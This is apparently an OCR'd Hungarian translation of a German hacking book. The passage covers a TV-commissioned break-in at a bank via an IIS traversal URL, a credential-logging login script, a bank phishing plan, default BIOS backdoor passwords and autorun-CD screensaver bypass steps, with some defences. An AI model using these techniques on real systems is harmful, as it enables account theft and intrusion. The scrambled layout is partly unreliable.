A megfelelő URL megadásával elérték a hozzáférést. A parancsfordító CMD.EXE-t a webszerver
rendszerkönyvtárából a script-könyvtárba másolták, hogy működőképesen legyen kezelhető a
böngészőből.
Azonosítás és kapcsolat
A weboldalakhoz vezető útvonal így nézett ki: C:\Inetpub\Root\Bank. Ebben a könyvtárban volt egy
alkönyvtár, amelybe csak egy kódolt kapcso-
lattal lehet bejutni. Ebben a könyvtárban volt azoknak a fájloknak a nagy része, amelyeket az online
banki szolgáltatás használ. Az ügyfeleket felkérik, hogy gépeljék be 6- vagy 10-jegyű online
számukat, PIN kódjukat, és a kívánt bankot (a •••-t vagy a •••-t). Ezeket az adatokat aztán egy
Session Cookie-ban (kódolt, az SSL miatt) tárolja a rendszer.
A szerver támadhatóságának tesztelése
A webszerver egy fatálisán szabványos exploitra volt érzékeny:
http://www....de/scripts/..%c255winnt/system32/cmd.exe
Itt egy hibáról volt szó egy átadott parancs dekódolásánál és legitimációjánál, ami végrehajtáshoz
vezet.
Megjegyzés: az adminisztrátor ezt a könyvtárat könyörtelelnül törölhette volna, mivel a bank scriptjei
nem hajtanak végre bináris fájlokat, illetve nincs szükségük ilyenekre.
Az IIS „sípolta" a konzolfájlok kiadását, például a CMD.EXE-t, ezért egyfajta shellt kaptak a
böngészőn keresztül, ha a CMD.EXE-t a /c paraméterrel (egyedüli parancs) futtatták.
Tiltott kimenő kapcsolatok
Az első terv az volt, hogy egyszerűen féltőkének egy trójait, ami azután kényelmes olvasási és írási
elérést kínálna. Ez azonban meghiúsult azon, hogy tiltva voltak a kimenő kapcsolatok.
Tehát engedélyezett kapcsolatból kellett olvasni és írni.
Az olvasási elérés nem volt probléma: az olvasandó fájlokat a webkönyvtárba másolták, letöltötték,
majd törölték. A bökkenő az írás volt. Alapvetően az echo DOS-paranccsal lehet fájlokba írni. A
szövegkarakterekkel nem is volt gond, viszont bináris adatokat és metakaraktereket, mint pl.: <, l ,>
nem lehetett írni.
A támadási tervről
Bináris fájlokat ASP-scripttel írnak, illetve töltenek fel. Az ASP-scriptet, amely szövegkarakterekből
áll, meg lehet írni a CMD.EXE-vel.
Mivel azonban az ASP-hez és a HTML-hez is metakarakterek szükségesek, és a sorok „komplex"
módon épülnek fel, ezeket nem lehetett a böngészőn keresztül bevinni, mivel a sornak URL
kódoltnak kellett lennie, a sok nem alfanumerikus karakter miatt, és ezért a legrosszabb esetben
háromszor olyan nagy lehetett volna. A sorokat tehát cookie-ként küldték el.
Az adatok, mint például a HTTP_AGENT vagy a Remote-IP minden kérdésnél, környezeti
változóként tárolódnak, és ezzel felhasználhatók más alkalmazások számára is, amelyeknek a
webszerver a környezete. A cookie-t mint HTTP_COOKIE-t tárolták, és ezután az
echo+%HTTP_COOKIE% -val egyszerűen lehetett írni. Az utolsó és legnagyobb dobás az volt, hogy
a metakaraktereket idézőjelekbe csomagolva a szintakszisnak megfelelően írták (az ASP-scripthez).
Amint a feltöltő-script a szerveren volt, át lehetett írni a bejelentkező-scriptet úgy, hogy a
bejelentkező adatok a felhasználói űrlapról közvetlenül egy logfájlba vándoroljanak.
1.3.7 Az adatletöltés
A megváltoztatott scriptek a C:\Temp\ 000043FA.ini könyvtárban tárolják a bank ügyfeleinek
folyószámlaszámát, PIN-jét és IP-jét.
Hogy ezt a fájlt le lehessen tölteni, ahhoz először a webkönyvtárba kellett másolni, majd egy
hiperhivat-kozáson keresztül lehetett letölteni. Végül a fájlt törölni kellett, hogy ez a folyamat ne
legyen olyan könnyen felfedezhető. Figyelembe kellett venni, hogy az első lépés már el volt intézve,
és ezért itt már nem kellett foglalkozni vele!
A Bank.dat képernyője
A logfájlokból kapott adatokkal most már be lehetett jelentkezni az ügyfelek folyószámlájára.

Egy folyószámla képernyője

Egy részvény-portfólió képernyője

S még arra is nyílt lehetőség, hogy egy pillantást vessenek az ügyfelek részvényletétjére.
1.4 Utóirat a bank-hackeléshez
A logfájlok áthúzása 2001.08.04-től 2001. 08.31-ig folyt. Ebben az időben több mint 1,5 millió adatot
(online számokat, pineket, IP-címeket) mentettek le. Az adatokat végül az NDR jogi osztályának
adták át, ahol bezárták egy széfbe ezeket.
A •• bank a Hamburgi Területi Bíróságon 2001.10.04-én elérte, hogy Ideiglenes Intézkedést adjanak
ki, amelyben úgy ítéltek, hogy minden adatot vissza kell szolgáltatni nekik. Az NDR bizonyítékként
csak egy másolatot tartott meg, amelyet egy semleges közjegyzőnek adtak át Hamburgban, és ott egy
széfbe zárták.
1.5 Összefoglalás
Az említett eseményeket követően a könyv szerzője elbeszélgetett az ismert német biztonsági
szakértővel, Marc Riief-fel, a bankok biztonsági problematikájáról. Ruef pontosan ismeri a gondot,
mivel néhány nagy bank biztonsági tanácsadója. A következőket mondta:
„Sok bank webes fellépése megosztott. Ezzel azt akarom mondani, hogy van egy nyilvános rész,
amelyet mindenki elérhet (WWW/HTTP). Azután van egy félig nyilványos terület, az e~banking,
ahová csak az ügyfelek léphetnek be megfelelő azonosítást követően (WWW/SSL/SHTTP/
jelszóvédelem). A nyilvános részt elhanyagolhatják, ami gyakran így is történik (nem viszik túlzásba
a biztonsági mechanizmusokat és irányvonalakat). Az e-banking területet védeni kell, és ez meg is
történik (a legújabb patchek, biztosított rendszer, erős irányvonalak, megfelelő biztonsági
intézkedések). A megfelelő szoftver és hardver a naplózáshoz és a biztonsághoz (pl. tűzfal-elemek és
Intrusion Detection System) a pénzügyi szektorban aránylag gyakran a rendelkezésre áll (ellentétben
más terület hálózati kapcsolattal működő cégeivel). Ezeknek az adminisztrációja is többnyire jó - de
sajnos nem nagyon jó - kezekben van. Szerintem a bökkenő a kiértékelésnél van. Az erre hivatott
rendszeradminisztrátorok, biztonsági megbízottak vagy auditorok nem tudnak mit kezdeni a biz-
tonsági rendszer logfájljaival, mivel nincs meg a szükséges háttértudásuk. Ösz-szességében azt kell,
hogy mondjam: vannak ilyenek és olyanok is. Láttam már olyan banki számítógépeket, hogy a
legszívesebben abban a minutumban mondtam volna fel a folyószámlámat. És persze vannak olyan
intézmények is, amelyek kitűnő kompetenciával tűnnek ki. Nem szabad valamennyit egy kalap alá
venni. Mindenesetre bőven van még tennivaló..."

1.6 Sajtóbeszámolók
A bank-hackelés világszerte nagy visszhangot keltett. Számtalan újság és rádióállomás számolt be az
akcióról. Ebben az összefüggésben újra és újra előkerült a biztonság kérdése, íme két érdekes
vélemény.
A www.newsbytes.com és a www.washingtonpost.com tudósításai
Német tv-s hackerek bankszervert törtek fel per van kilátásban
Ned Stafford, Newsbytes MÜNCHEN, NÉMETORSZÁG 2001. szept. 17., du. 4:51
••••, Németország egyik legnagyobb bankja, a bank szóvivője szerint jogi lépéseket tervez egy
népszerű fogyasztói high-tech tv-show ellen, amely hackereket szerződtetett, hogy feltörjék a bank
online banking szerverét.
Cornelia Klaila, a ••• müncheni szóvivője, ezt nyilatkozta a Newsbytes-nak: „Amit tettek, az
törvénytelen. Nagyon törvénytelen.
Az „ők", akikre utalt, a Technikai Tanácsadó nevű tv-show, amelyet az ARD, Németország két
közszolgálati tévéhálózatának egyike gyárt. A Technikai Tanácsadó augusztusban felfogadott néhány
fiatalembert, hogy betörjenek a ••• online banki szerverébe, és információkat töltsenek le az ügyfelek
számláiról. Az információk neveket, számlaszámokat, PIN-számokat és internetes IP-számokat
tartalmaztak, amelyek fontosak a biztonságos online banki szolgáltatáshoz. A sztorit vasárnap este
közvetítették.
Bernd Leptihn, a Technikai Tanácsadó (Ratgeber Technik) hírszerkesztő csoportjának hamburgi
vezetője azt nyilatkozta a Newsbytes-nak, hogy nem aggódik a ••• perindítása miatt.
Leptihn, aki 27 éve a Technical Adviser frontembere, de most a kamera mögött dolgozik, így
ékelődött: „Tudják, én 30 éve csinálok törvénytelen dolgokat. Voltak pereim ezelőtt is, de mostanáig
soha nem vesztettem el egyetlen ügyet sem."
Azt mondta, hogy az ARD jogi részlege szerint az ilyesfajta oknyo-mozó újságírást megengedi a
német jog, ha az „a köz érdekét szolgálja". Leptihn szerint, aki amúgy jól ismert személyiség
Németországban, a nyilvánosság informálása a ••• számítógépének hiányosságairól nagyon is a köz
érdekében történt.
„A (bankszámla) információkkal, amelyeknek a birtokába jutottunk, most akárhol is lehetnénk a
világban, millió és millió euró birtokában" mondta.
Leptihn arra is utalt, hogy a kutatás megmutatta, hogy a ••• banknál bizony van néhány nagy
biztonsági rés. A bank a Microsoft Internet Information Serverét (IIS 4.0) használta.
A Technikai Tanácsadó megbízott egy négytagú hackercsapatot. Azt nem árulta el, hogy mennyit
fizettek nekik, de ez „nem volt sok". A fiatal hackerek inkább abban voltak érdekeltek, hogy
publicitást nyerjenek induló internetes biztonsági tanácsadó cégüknek - mondta.
Négyük közül az egyik Stephan Weide, 22 évesen a Multimedia Network Systems cég ügyvezetője
Leinefeldében.
Weide azt nyilatkozta a Newsbytes-nak, hogy a betörés a ••• számítógépébe csak két-három napot
vett igénybe, és „igazán nem volt gond, bárki meg tudta volna tenni."
Miután a Technikai Tanácsadó vasárnap éjszaka a tévében megszellőztette az ügyet, Weide azt
mondta, hogy ő és a csapata részt vettek egy telekonferenciás hívásban a ••• technikai
személyzetével, hogy megmondják nekik, hogyan tudják befoltozni a réseket.
Mikor megkérdeztük, hogy a technikaiak hangot adtak-e haragjuknak a hackelés miatt, azt
mondta: „Nem mondtak csúnya szavakat. Azt hiszem, féltek, hogy elveszítik az állásukat."
Weide és Leptihn elmondták, hogy a ••• online banking oldala vasárnap késő éjjeltől kezdve úgy
hat órára leállt.
Klaila, a bank szóvivője, ezt nyomatékosan kétségbe vonta, s azt állította, hogy a weboldalt a
szokásos rendszeres karbantartás és nem a biztonsági rések kijavítása miatt állították le.
Azt is jelezte, hogy a ••• bank ezen a nyáron egy új online weboldalt helyezett üzembe, és hogy
ez az oldal state-of-the-art rendszer, ami biztonságos. Augusztus hónap folyamán - mint mondta -
mindkét oldal, a régi és az új is online-ban voltak, és a hackerek a régi weboldalra, és nem az újra
törtek be. A régi weboldalt szeptember elején offline-ba helyezték.
Leptihn viszont vitatta, hogy az új oldal az utolsó éjszaka előtt biztonságos lett volna.
„A hackereink ismét próbálkoztak az új site-on, és sikerrel jártak" -állította.
Klaila azt mondta, hogy bűntetőjogi és polgári peres kártérítési per is lehetséges a Technikai
Tanácsadó ellen.
„Még el kell döntenünk, mit is akarunk tenni." - vélekedett.
A zdnet.de News tudósítása
ARD: Online banki szolgáltatásbeli hiányosságokat lepleztek le
PIN-eket és TAN-eket olvastak ki bekapcsolt kamera előtt. 2001. szeptember 17., 08:46 óra
Thüringiai hackerek a Ratgeber: Technik ARD-magazin megbízásából, működő kamera előtt
törték fel a ••• biztonsági mechanizmusait, így a szerkesztőknek és a szakértőknek a műsor adatai
szerint lehetővé vált néhány napon belül 1,5 millió online könyvelési akciót megszerezni,
beleértve titkos kódokat (PIN), az online-számokat (TAN) és az IP-címeket.
Ahogy az ARD a továbbiakban közölte, a hackereknek dispo-kredit adatokat is sikerült elérniük,
s így, a számlákat a kimerítésig terhelhették volna. Behatolásuk bizonyítására a betolakodók
csupán egy 100 márkás könyvelésre „korlátozták magukat".
A tévéadó komputeres szakemberei ismételten óvtak a trójaiktól, amelyek értelmetlenné teszik a
pénzintézet kódolási eljárását. Még egy laptoppal és egy adatátvitelre alkalmas mobiltelefonnnal
is gond nélkül lehet jogosulatlanul pénzt átutalni.
Miután a magazin figyelmeztette a •••-t központi számítógépének a hiányosságaira, egy új log-in
redszert vezettek be. Az adó által felfogadott hackerek azonban ebben az átdolgozott programban
is találtak réseket. A Ratgeber szerkesztősége szerint azért a •••.t választották, mert ez a bank
különösen „lukacsosnak" bizonyult a jogosulatlan hozzáférésekkel szemben. De elvileg sok más
banknál és takarékpénztárnál is lehetséges lenne egy virtuális betörés.
1.7 Tapaszatalatok más bankoknál
Nem csak a ••• nincs felvértezve a támadások ellen, más bankoknál is csak félig-meddig
sikeresek a szerverük védelmére irányuló intézkedések.
1.7.1 Forgatókönyv a takarékpénztár-területen
2001 októberében a szerző újabb megkeresést kapott valakitől, aki a különböző bankok
visszásságainak a feltárására tararékpénztárak biztonsági auditjával bízta meg. A
tapasztalatokból, amelyeket az előző akciókból gyűjtöttek, a következő terv született.
Nyíltszívűen - a kleinmusterhauseni takarékpénztár
Ennek a tararékpénztárnak olyan az internetes megoldása, mint a legtöbbnek Németoszágban: két
részből áll.
Van a nyilvános rész, amelyben az ügyfél az illető tararékpénztárról információt szerezhet, és
amelyen keresztül egy linkkel a folyószámlájához jut. Ez általában egészen egyszerű felépítésű.
Többnyire egy helyben lévő vagy szolgáltatón keresztül kezelt szerverről van szó, amely csak nagyon
egyszerűen védett, és a rendszergazda is szívesen elhanyagolja. Ezen a webszerveren gyakran tisztán
reprezentatív célokból futnak olyan alkalmazások, amelyek nagyon támadhatóvá teszik a szervert.
A második terület a tulajdonképpeni e-banking. Ezt a takarékpénztáraknál gyakran számítóközpontok
kezelik. A szerverek többnyire jól védettek, és ki lehet indulni abból, hogy egy támadás ez ellen a
számítógép ellen semmiféle sikerrel sem járna.

Bepillantás egy német tararékpénztár jelszó-fájljába, egy maghatározott URL begépelésével

Itt az átmenet a home-bankinghoz

A támadási terv
Először egy biztonsági rést próbáltak keresni, amely lehetővé teszi az illető bank, illetve
takarékpénztár nyilvános szerverének az elérését. Ez ebben az esetben egy script-hiba vagy egy hibás
FTP-szerver lenne, amelyen többnyire HBCI-eszközök meghajtóit vagy különböző online banking
szoftverek frissítéseit tárolják.
A betörés után megváltoztattak minden oldalt, amelyek a számítóközpontban elhelyezett
tulajdonképpeni e-banking gépre mutattak.
Isten hozta a tararékpénztárnál -csak az URL-nek kell a megfelelőnek lenni

Példa egy tararékpénztári oldal forrásszövegére megfelelő linkeléssel a számítógép-központhoz

A hamisítvány veszi át a szerepet
A megfelelő oldal külleméről és működési módjáról rendelkezésre álló információk alapján
hozzákezdtek egy hamisítvány felépítéséhez. Ez a hamisítvány a tuljdonképpeni e-banking
számítógépet „tükrözné", tehát az ügyfeleket a helyi tararékpénztár prezentációjáról a megváltoztatott
Folyószámla vagy Onlinebanking link közvetlenül a hamisítványra vezeti. Az ügyfél ugyanazokat az
információkat és opciókat látja maga előtt, mint a valódi e-banking gépen. Ha most egy átutaláshoz
beírja az adatokat, ezek az adatok egy logfájlban landolnak. Mivel a tranzakciók egyike sem lesz
végrehajtva, hanem csak a logfájlba vándorol, a tranzakciószámok továbbra is érvényben maradnak.
„A kockázatokról és mellékhatásokról kérdezze banki tanácsadóját!"
2. fejezet - Tartalom

2.1 A hackeren túl - merevlemez-fejreállás, adatbetekintés vagy lopás

2.1.1 Különbségek a Windows 9x, az NT és utódai között
2.1.2 A fizikai támadás
2.1.3 Képernyővédő-jelszó - a bennfenteseknek nem okoz problémát
2.1.4 Automatikus lejátszás - a betörés előkészítése CD-vel

2.2 A jelszavak kikémlelése

2.2.1 Érdekes jelszavak szinte mindenütt akadnak
2.2.2 A jelszófájlok
2.2.3 Jelszavak a Windows 2000 alatt

2.3 A távoli elérésű támadás -

internet- vagy hálózati felhasználók, vigyázat!
2.3.1 A fájl- és nyomtatómegosztás - veszélyes biztonsági rések
2.3.2 Mik azok a szkennerek, és hogyan működnek?
2.3.3 Milyen lehetőségeik vannak a betolakodóknak?
2.3.4 Jelszóval védett megosztások
2.3.5 Brute Force-rohamok a megosztási jelszavak ellen
2.3.6 Óvintézkedések

2.4 További támadási technikák

 A Windows-rendszerek
(9x, NT, 2000) gyenge pontjai
Míg a Windows 95/98/ME fejlesztésénél a Microsoft a felhasználóbarátság
kedvéért elhanyagolta a biztonságot, a professzionális területre készült termé-
kek (Windows NT 4.0 és Windows 2000) tervezésénél sokkal tudatosabban
koncentrált erre a témára. A hackereket egyenesen csalogatják a gyenge pon-
tok, hogy behatoljanak a rendszerekbe. Ráadásul a felhasználói operációs
rendszerek gazdái is nagyon megkönnyítik a támadók dolgát. A Windows
95/98/ME felhasználóinak (és valószínűleg azok nagy részének is, akik a Win-
dows XP Home Editionnel fognak dolgozni) többnyire csak csekély ismeretei
vannak a biztonságról, és azokról a veszélyekről, amelyeknek az adataikat ki-
teszik.
Mivel az adataink nem csak az internetes szörfözés közben vannak veszély-
ben, ez a fejezet az adatbiztonság egészével foglalkozik, ami a BlOS-jelszónál
kezdődik.
2.1 A hackeren túl - merevlemez-fejreállás,
adatbetekintés vagy lopás
A biztonság tulajdonképpen az adatok biztosítási lehetőségeinek az alapvető
mérlegelésénél kezdődik, ami sok - a legtöbb? - esetben egyáltalán nem törté-
nik meg. Manapság szinte minden számítógép-használónak vannak olyan ada-
tok a gépén, amelyeknek az elvesztése, illetve az újbóli előállítása a PC árának
többszörösébe kerülne. És akkor a további kockázatokat, például egy lopásét,
még figyelembe se vettük: ugyan ki szeretné az utolsó adóbevallását vagy bizo-
nyos leveleit rossz kezekben tudni?
Az egyedülálló PC-t ugyan inkább a külső hatások (vírusok, lopás stb.) vagy
a hibás kezelés veszélyezteti, ennek ellenére rengeteg más lehetőség is van
hozzáférni a személyes adatokhoz: otthon vagy az irodában alapvetően min-
denki odaülhet a géphez - és még a legfifikásabb BIOS-jelszó sem ér sokat, ha
a számítógép ebédszünetben bekapcsolva marad. Hogy mennyire biztonságo-
sak a jelszóval védett képernyőkímélők, azt a későbbiekben megmutatjuk.
A magánfelhasználók, de gyakran még a vállalatok is visszariadnak egy jó
tűzfal költségeitől, vagy a kényelem kedvéért lemondanak a BIOS-jelszóról,
Így a felhasználók ezekkel az operációs rendszerekkel a jövőben is könnyű pré-
dái lesznek mindenfajta hackertámadásnak.
2.1.1 Különbségek a Windows 9x,
az NT és utódai között
A különböző operációs rendszerek közötti alapvető különbség, ami igazán
csak most, az XP-vel fog megszűnni: az eddigi Windows 9x vonal csak korlátozott
védelmet (BIOS-jelszó) kínál a jogosulatlan felhasználás ellen. Az NT vagy a
Windows 2000-es gépeknél ott van még a jelszavas bejelentkezés, mint köztes
fokozat, amely növeli a biztonságot. Emellett az NT-nél és a Windows 2000-nél
az adatokat már eleve zárolni lehet, ami a 9x-nél kiegészítő szoftvertől függ.
A Windows 95/98/ME-t érő támadásoknak két fajtáját kell megkülönböz-
tetni. Az egyik a fizikai támadás, amit olyan valaki hajt végre, akinek közvetlen
elérése van a rendszerre, a másik a távoli elérésű támadás, amelyet az internetről
indítanak.
2.1.2 A fizikai támadás
A számítógépek védelmének nem túl gyakori módja a BIOS-jelszó beállítása,
amelyet a felhasználónak a számítógép minden indításához be kell írnia, mie-
lőtt a grafikus felület megjelenne.
Sajnos, a hackereknek arra is vannak módszereik, hogy ezt a védelmet megke-
rülve jussanak be a rendszerbe. Alapigazság, hogy minél öregebb egy számítógép,
és vele együtt a BIOS, annál könnyebb kikerülni, illetve feltörni a védelmet.
A BIOS-jelszavas lezárás megkerülésének, illetve feltörésének három alap-
vető módját különböztetjük meg:
• általános jelszó használata
a jelszó megszerzése a memóriából
• a CMOS szoftverének törlése
 Általános jelszó használata Password-BlOS-Hacker
Oren Levytől
A különböző BIOS-verziók gyártói adnak egy általános vagy default jelszót,
arra az esetre, ha a biztonságáért aggódó felhasználó egyszer el találná felejteni
a jelszavát. Ezekkel a jelszavakkal a számítógépet az utoljára használt és men-
tett jelszótól függetlenül lehet elindítani. Ezeket a jelszavakat számos oldalról
be lehet szerezni az interneten, de valójában a legtöbbnél kérdéses, hogy vajon
még működnek-e, vagy már teljesen elavultak.
Ezeknek a jelszavaknak a többségét sikerrel teszteltük, a használatuknál Program BIOS Szerző Forrás

azonban figyelni kell az amerikai billentyűzetkiosztásra. AMIDECOD AMI Danny Soft www.hackerzbook.de
Award Modular Bios Award The Immortal www.hackerzbook.de
Gyártó: Award Gyártó: AMI Gyártó: Phoenix Altalános jelszavak crack tool
BIOSSTAR PASSWORD PHOENIX aLLy CrackAmiBios 1.1 AMI Ismeretlen www.hackerzbook.de
BIOSTAR Ami phoenix Wodj Password általános Oren Levy - Dynam ic www.hackerzbook.de
ALFAROME A.M.I. CMOS SZYX Password (C)alculator AWARD FalCoN 'N' AleX www.hackerzbook.de
q_127&z AMI?PW BIOS Syxz for AWARD BIOS
J64 AMI?SW Sxyz
Programok a jelszó kiderítéséhez a memóriából
J262 AMI_SW SKY_FOX
J256 AMI setup
j262 SER A CMOS szoftverének törlése
j256 LKWPETER Ha a hacker nem talál általános jelszót vagy megfelelő segédprogramot,
AWARD_SW Ikwpeter nem marad más hátra, mint törölni a BIOS-t, és azzal együtt a jelszót is. Azt
589589 HLT
persze figyelembe kell vennie, hogy ilyenkor a rendszerbeállítások is elvesznek.
AWARD_PW CONDO A BIOS törléséhez megint csak segédprogramokat használnak a „betörők",
AWARD_PS awkward ezek közül az egyik legismertebb a KiLLCMOS32. Ez a segédprogram minden
AWARD?SW BIOSTAR beállítást töröl, és minden BIOS-verzióhoz használható. Mindenesetre a rend-
AWARD SW
szernek már futnia kell a használatához.
AWARD
589721 A KiLLCMOS32 minden
BlOS-beállitást megbíz-
Általános BlOS-jelszavak hatóan töröl

A jelszó megszerzése a memóriából

A jelszó memóriából történő megszerzése feltételezi, hogy a gép már elin-
dult, ilyenkor ugyanis segédprogramokkal el lehet érni a memóriában tárolt
jelszót. A különböző BIOS-verziókhoz különböző programok vannak, amelye-
ket könnyen be lehet szerezni az internetről.
 A Windows a jelszó meg-
A program egy érvénytelen értéket helyez el a CMOS-ban, és ez úgy hat, erősítését kéri
hogy minden ott tárolt adatot (a jelszót is) újra meg kell adni. A használatának a
feltétele azonban az, hogy a számítógép már működik, és szabad a hozzáférés.
A http://www.memosys.com/passwort/faq.htm címen további informá-
ciók találhatók a BIOS-jelszavakról.
A jobban informált internet-felhasználók néha azt hiszik, hogy egy rend-
szert csak az internetről érhetnek támadások, és ez ellen egy tűzfallal jól meg is
védik a gépüket. De mi van akkor, ha valaki mondjuk az ebédszünetben fizikai-
lag fér hozzá a számítógéphez? Milyen módszereket fog alkalmazni, hogy kike-
rülje a képernyővédőt és jelszavakat olvasson ki?

2.1.3 Képernyővédő-jelszó-
a bennfenteseknek nem okoz problémát

Hogy a számítógépünk rövid távolléteink alatt is védve legyen a kíváncsi

szemektől, arról a Windows 95/98/ME alatt a legegyszerűbben képernyővédő-
jelszóval gondoskodhatunk. Ez a képernyővédő bekapcsolása után csak a megfe-
lelő jelszót megadó felhasználónak engedi meg a rendszer elérését.
Ha a Windows csőveze-
téket épít vagy Bezier-
görbéket mutat - csak
jelszóval lehetséges a
visszatérés
Windows 95/98/ME alatt a Képernyő tulajdonságai ablakban a Képernyőkímélő
regiszterlapon a képernyőkímélő bekapcsolása után zárolni lehet a rendszer el-
érését.
Ha mások is hozzáférnek a PC-nkhez, alapvetően be kell állítanunk ezt a
jelszót, mert különben könnyen űzhetnek velünk csúnya tréfát: képzeljük el,
hogy valaki három perc után induló jelszavas képernyővédőt állít be a gépün-
kön. Ezután elég egy rövid szünet (telefon vagy hasonló), és máris megakasz-
totta a munkánkat. Hiszen jelszó híján nem jutunk a PC-hez újraindítás nélkül.
Akkor viszont elveszhetnek az adatok, amelyeket esetleg még nem mentettünk
el - nagy az ár.
így lehet feltörni a jelszóvédelmet
Az alábbiakban megvilágítjuk, milyen könnyű egy képernyőkímélő jelszavát
kikapcsolni, illetve kikerülni, ha a hackernek ehhez elég ideje és tudása van.
Újraindítás
Igazán dühödt, primitív, de hatásos módszer a képenyőkímélő-jelszó kike-
rülésére: a számítógép újraindítása a rését gombbal. Figyelembe kell venni,
hogy a nem mentett adatok minden esetben elvesznek, így például a nem men-
tett Word-dokumentumok vagy a nyitott fájlok stb. Szerencsére ilyenkor a
rendszer felhasználója észreveszi a behatolást.
Taskmanager - kapu a betörőnek Windows 95 alatt
Windows 95 alatt a Microsoft még egyszerűbb módot kínál a képernyőkí-
mélő kikerülésére: a Ctrl+Alt+Del billentyűkombináció lenyomásával •
mondhatni „majomfogással" - célzottan be lehet zárni a képernyőkímélő prog-
ram taskját.
 Rossz csillagzat alatt
született a védelem: egy
egérkattintással be le-
het zárni a képernyőkí-
mélőt
Védelmi lehetőség Windows 95 felhasználóknak
Ez ellen a támadás ellen csak a Windows 95 Windows 98/ME-re frissítése
nyújt védelmet. A képernyőkímélő-jelszó elkerülésének ilyen kísérletei az
NT/2000-nél is hatástalanok.
A későbbiekből az is ki fog derülni, hogyan is lehet feltörni az ilyen jelszót,
mert a jelszavas védelem is csak korlátozott mértékben nyújt biztonságot. A jel-
szó megfejtése a megfelelő szoftvereszközzel igazán egyszerű, jobb, ha tudjuk,
hogy mennyire az. így persze rögtön magunkon is segíthetünk, ha elfelejtettük
a saját jelszavunkat.
2.1.4 Automatikus lejátszás -
a betörés előkészítése CD-vel
A PC-t a BIOS-szal, a képernyőkímélőt jelszóval zároltuk, és talán még a
jelszót is úgy választottuk meg, hogy az betűk és számok kombinációjából áll-
jon - most aztán a PC-nk szünetben is bevehetetlen, vagy lehet, hogy mégsem?
A következőkből kiderül, hogy milyen eszközöket vethet be ebédszünetben egy
potenciális hacker, hogy minden igyekezetünk ellenére hozzáférjen az adata-
inkhoz.
A Windows 95/98/ME a CD-ROM-meghajtóhoz alapértelmezésként az
autoplay (automatikus lejátszás) opciót használja, amelyet a Microsoft Knowledge
Base Article Q141059 a következőképpen definiál:
„A Windows folyamatosan ellenőrzi a CD-ROM-meghajtót, hogy megálla-
pítsa, helyeztek-e bele CD-ROM-ot. Ha ilyen lemezt fedez fel, ellenőrzi, hogy
van-e rajta autorun.inf-fájl. Ha a CD tartalmaz ilyen fájlt, akkor végrehajtja a
fájl open= sorába írt parancsokat."
Megjegyzés: ezt a témát még a 4.fejezet is tárgyalja, mert az automati-
kus lejátszás funkciót gyakran használják trójai vírus becsempészésére ide-
gen rendszerekbe. Ehhez lehet a rendszer esetleg futó internetkapcsolatait
(vagy hálózatoknál a LAN-kapcsolatokat) használni, és így a PC-hez a kép-
ernyőkímélő-jelszó ellenére hozzá lehet férni. Ha a trójai már bent van, a
képernyőkímélő-jelszót egészen egyszerűen ki tudja kerülni. Egy ilyen
hozzáféréssel a képernyőkímélő-jelszót is ki lehet kapcsolni úgy, hogy:
HKEY_CURRENT_USER/Control Panel/desktop/ScreenSaveActive Registry-
kulcs értékét nullára állítjuk.
Van néhány program, amelyeket az automatikus lejátszás funkcióval, a jel-
szómegadást kikerülendő, fel lehet másolni. Ezeknek a programoknak egyike a
Clean Screen. Íme, a használati utasítás, amellyel szükség esetén magunkat is ki-
szabadíthatjuk (az előkészületeket azonban előre meg kell megtenni, nehogy túl
késő legyen):
1. Letölteni (www.hakerzbook.de) és kicsomagolni a ZIP fájlt!
2. Az EXE fájlt és az autostart-ini-t CD-re írni. A két fájlnak a könyvtárfán
egészen felül kell lennie, tehát ne valamilyen alkönyvtárba másoljuk.
3. Ha a CD-írás elkészült, akkor egyszerűen próbáljuk ki egyszer a saját PC-
nken.
4. Képernyőkímélő-jelszó beállítása, majd várakozás, míg a képernyőkímélő
elindul.
5. Tegyük az újonnan megírt CD-t a meghajtóba, és várjunk, amíg a PC
hangszórója sípolni kezd. Ha nincs bekötve, egyszerűen várjuk ki, míg a
CD-ROM-meghajtó leáll.
6. Ezután már csak írjuk be a jelszó lekérdezésére az 123-at, és a képernyő-
kímélőnek el kell tűnnie!
 A képernyőkímélő jelszó kikódolása
7. Ezután a program kiírja a régi jelszót, és a Régi érték beállítása paranccsal
vissza lehet állni rá. Ha ezt nem tesszük meg, aktuális jelszóként a 123-at A képernyőkímélő jelszót a Windows 95/98/ME alapértelmezésként a
tárolja. HKEY\USERS\.Default\Control Panel\Sreen_Save_Data Registry-kulcsban tá-
rolja. A kódolása nagyon egyszerű, és számos programmal feltörhető.
A képernyőkímélő-jelszó A legtöbb programnak az a hátránya, hogy csak akkor működik, ha a képer-
megszerzése autoplay
CD-vel nyőkímélő még nem aktív (hogy mit tehetünk, ha már az, azt már tudjuk).
Jelszófeltörő program
működés közben

Védekezés az automatikus indításos támadások ellen

Ezeket a támadásokat úgy védhetjük ki, ha a Windows 95/98/ME alatt ki-

kapcsoljuk az automatikus lejátszás funkciót. Ez a következőképpen működik:
A Vezérlőpulton kattintsunk duplán a Rendszerre, válasszuk az Eszközkezelő fü- Néhány program a képernyőkímélő-jelszó feltöréséhez:
let, kattintsunk duplán a CD-ROM-ra, és aztán a CD-ROM meghajtófára.
Program Szerző weboldal
A Beállítások regiszterlapon távolítsuk el a pipát az Automatikus lejátszás elől.
SCR-it! - 1 .0 verzió Yoto Yotov www.hakerzbook.de
Itt találjuk a döntő fon- SCRNLOCK Yoto Yotov www.hakerzbook.de
tosságú pipácskákat SS_D 1.0 Bubble www.hakerzbook.de
Win95 Screen Saver Password Cracker v1 . 1 nobody www.hakerzbook.de
Programok a képernyőkímélő-jelszó feltöréséhez

2.2 A jelszavak kikémlelése

2.2.1 Érdekes jelszavak szinte mindenütt akadnak

A helyi támadásoknál nagy szerepe van a jelszavak kikémlelésének. Jelszófeltö-

rők segítségével a hackerek szinte minden, Windows alatt tárolt jelszót meg
tudnak szerezni, hogy azután elérjenek velük jelszóval védett fájlokat, az
internetet vagy a hálózatot, illetve ezek bizonyos területeit. Sajnos, a Microsoft A dortmundi államügyészségnél több mint 1000 eljárás van folyamatban
nagyon megkönnyíti a betolakodóknak, hogy hozzáférjenek ezekhez az infor- gyanúsítottak ellen egész Németországban. (dpa)
mációkhoz, a felhasználóknak pedig egyre nehezebbé teszi a jelszavak elrejté- Forrás: www.silicon.de
sét. Erre egyszerű példák találhatók az Internet Explorernél és a telefonos kap-
csolatnál. Internetezzünk olcsón -
Az Internet Explorer a 4. verziótól kezdve egy automatikus kiegészítést hasz- sokkal több nem is kell
hozzá
nál, amely a belépési adatok megadása után megkérdezi a felhasználótól, hogy
szeretné-e menteni ezeket.
